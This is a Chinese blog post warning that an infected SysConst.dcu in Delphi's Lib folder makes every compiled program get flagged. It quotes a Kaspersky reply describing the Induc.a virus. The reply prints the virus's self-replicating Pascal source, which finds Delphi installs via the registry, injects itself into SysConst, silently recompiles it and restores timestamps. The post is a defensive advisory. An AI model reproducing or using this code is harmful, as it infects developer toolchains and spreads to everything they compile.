Delphi编译的程序如果被杀毒软件误杀,请注意Delphi安装目录Lib下的SysConst.dcu,可能已被病毒感染

    注意检查下delphi安装目录lib下的SysConst.dcu文件,如果大小为17KB,就是被感染了,正常大小在12KB,编译出来的程序都会被报病毒。目前杀毒软件大都检测到。

 

以下是卡巴工程师的回答:

尊敬的用户,您好!

      
我们最新截获了一种病毒Virus.Win32.Induc.a,此病毒会向您现有的delphi工程中添加病毒文件并修改工程配置文件,使得编译时将病毒一同编译。编译后的二进制文件中可以找到以下ASCII代码:

uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of  
string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to  
length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var  
f1,f2:textfile;',
'h:cardinal
;f:STARTUPINFO
;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then  
begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then  
exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin  
closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if  
pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23  
do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24  
do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu
$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f);  
f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),
0,0,false,0,0,0,',
'f,p);if b then  
WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+
$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3);  
CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then  
exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var   
k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if  
RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software/Borland/Delphi/$+v+$.0$),
0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then  
begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$/source/rtl
/sys/SysConst$+',
'$.pas$,r+$/lib/sysconst.$,$"$+r+$/bin/dcc32.exe"  
$);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var
  i:integer;
  begin
for i:=1 to length(s) do
等等

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值